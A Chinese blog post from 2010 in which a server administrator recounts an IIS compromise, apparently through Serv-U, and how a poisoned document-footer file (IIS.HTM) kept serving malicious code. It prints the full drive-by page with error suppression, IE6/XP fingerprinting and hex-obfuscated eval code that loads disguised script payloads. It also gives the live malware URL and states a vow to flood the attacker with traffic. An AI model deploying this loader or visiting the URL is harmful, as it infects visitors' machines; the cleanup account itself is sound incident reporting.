当前位置： 首页 > 我的分享 > 正文

解决IIS 无法加载JavaScript文件

霸王硬上弓 发布于 2010-01-12 21:18我的分享4,902 views抢沙发

昨天服务器被人入侵了，经过排查，估计是通过Serv-U提权，然后进行控制的。原本只为方便，没想到啊。长记性了！

发现网站被挂马后，立即对服务器进行处理，恢复WEB备份。并且对系统的权限进行重新加固处理，完全卸载Serv-U，FTP工具使用Gene6 FTP Server，无论是在安全性还是在功能上都比Serv-U更胜一筹。

 

处理过程中，发现程序的挂马已经完全清除了，但奇怪的是还是会出现木马提示，并且程序的JS文件都无法加载。个人是感觉可能启用了IIS文档页脚，但仔细查看，发现只有几个访问量大的网站被勾选了。马上在网站总设置中取消掉 "启用文档页脚"，便处理了挂马问题。

 

 

搜索C盘，发现IIS.HTM这个文件被挂马，也就是"启用文档页脚"的设置路径中的文件。

通过构建大小为0的网页进行挂马操作。

挂马网址：http://wdww.0395e.com.cn:2000/360/2020/index.htm

看文章的千万别点哦。竟然用CN域名来，并且解析到美国去。他完了 我流量攻击死他。日

 

附上整个挂马网页代码：

XML/HTML代码
        

  1. <html>  

    2.     

  2. <SCRIPT LANGUAGE="JavaScript">    

    3.     

  3. <!– Hide    

    4.     

  4. function killErrors() {    

    5.     

  5. return true;    

    6.     

  6. }    

    7.     

  7. window.onerror = killErrors;    

    8.     

  8. // —>    

    9.     

  9. </SCRIPT>  

    10.     

  10.   

    11.     

  11.   

    12.     

  12.   

    13.     

  13. <script>  

    14.     

  14. //var parent_url = window.parent.location.href.toLowerCase();   

    15.     

  15. var where = document.referrer.toLowerCase();   

    16.     

  16. var self_url = document.location.href.toLowerCase();   

    17.     

  17. if(where.indexOf("gov.")>=0 || where == "")   

    18.     

  18. {   

    19.     

  19.     location.replace("about:blank");   

    20.     

  20. }   

    21.     

  21. </script>  

    22.     

  22.   

    23.     

  23.   

    24.     

  24. <script>  

    25.     

  25. nav=navigator.userAgent.toLowerCase();   

    26.     

  26. wxp=((nav.indexOf('\x77\x69\x6e\x64\x6f\x77\x73\x20\x6e'+'\x74\x20\x35\x2e\x31')!=-1)||(nav.indexOf   

    27.     

  27. ('windows xp')!=-1));   

    28.     

  28. if(!wxp||navigator.userAgent.toLowerCase().indexOf("\x6D"+"\x73"+"\x69\x65 \x36")==-1)    

    29.     

  29. location.replace("about:blank");   

    30.     

  30. </script>  

    31.     

  31.   

    32.     

  32.   

    33.     

  33. <script language="JavaScript">  

    34.     

  34. window.onerror=function(){return true;}   

    35.     

  35. if(document.cookie.indexOf("CoreBeta=")==-1)   

    36.     

  36. {   

    37.     

  37.   

    38.     

  38. var expires=new Date();   

    39.     

  39. expires.setTime(expires.getTime()+24*60*60*1000);   

    40.     

  40. document.cookie="CoreBeta=Yes;path=/;expires="+expires.toGMTString();   

    41.     

  41. document.writeln("<html> ");   

    42.     

  42. document.writeln("<body style=\"overflow-y:hidden\" scroll=\"no\" oncontextmenu=\"return false\">  ");   

    43.     

  43.   

    44.     

  44. var code="\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x6c\x6e\x28\x22\x3c\x64\x69\x76\x20\x69\x64\x3d\x5c\x22\x44\x69\x76\x49\x44\x5c\x22\x3e\x20\x22\x29\x3b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x6c\x6e\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x5c\x27\x61\x2e\x6a\x70\x67\x5c\x27\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x20\x20\x22\x29\x3b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x6c\x6e\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x5c\x27\x63\x2e\x6a\x70\x67\x5c\x27\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x20\x22\x29\x3b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x6c\x6e\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x5c\x27\x64\x2e\x63\x73\x73\x5c\x27\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x20\x20\x22\x29\x3b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x6c\x6e\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x5c\x27\x65\x2e\x6a\x70\x67\x5c\x27\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x20\x20\x22\x29\x3b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x6c\x6e\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x5c\x27\x66\x2e\x63\x73\x73\x5c\x27\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x20\x20\x22\x29\x3b";   

    45.     

  45.   

    46.     

  46. eval(code);   

    47.     

  47.   

    48.     

  48. document.writeln("<\/body> ");   

    49.     

  49. document.writeln("<\/html>");   

    50.     

  50. }   

    51.     

  51. else   

    52.     

  52. location.replace("about:blank");   

    53.     

  53. </script>  

    54.     

  54.   

    55.     

  55.   

    56.     

  56. <script language="javascript">  

    57.     

  57.   

    58.     

  58. var lessen= 50;   

    59.     

  59.   

    60.     

  60. function rand()   

    61.     

  61. {   

    62.     

  62.     var num = Math.random()*100;   

    63.     

  63.        

    64.     

  64.     return num;   

    65.     

  65.   

    66.     

  66. }   

    67.     

  67.   

    68.     

  68. var num = rand();   

    69.     

  69. if(num <= lessen)   

    70.     

  70. {   

    71.     

  71. }   

    72.     

  72. else   

    73.     

  73. {   

    74.     

  74.   

    75.     

  75. document.writeln("<script type=\"text/javascript\" src=\"http://js.tongji.linezing.com/1399654/tongji.js\"><\/script>");   

    76.     

  76. }   

    77.     

  77.   

    78.     

  78. document.writeln("<script type=\"text/javascript\" src=\"http://js.tongji.linezing.com/1389409/tongji.js\"><\/script>");   

    79.     

  79.   

    80.     

  80. </script>  

    81.     

  81.   

    82.     

  82.   

    83.     

  83.   

    84.     

  84.   

    85.     

  85. </html>   

 

您可能还会对这些文章感兴趣！

解决IIS 无法加载JavaScript文件：等您坐沙发呢！

发表评论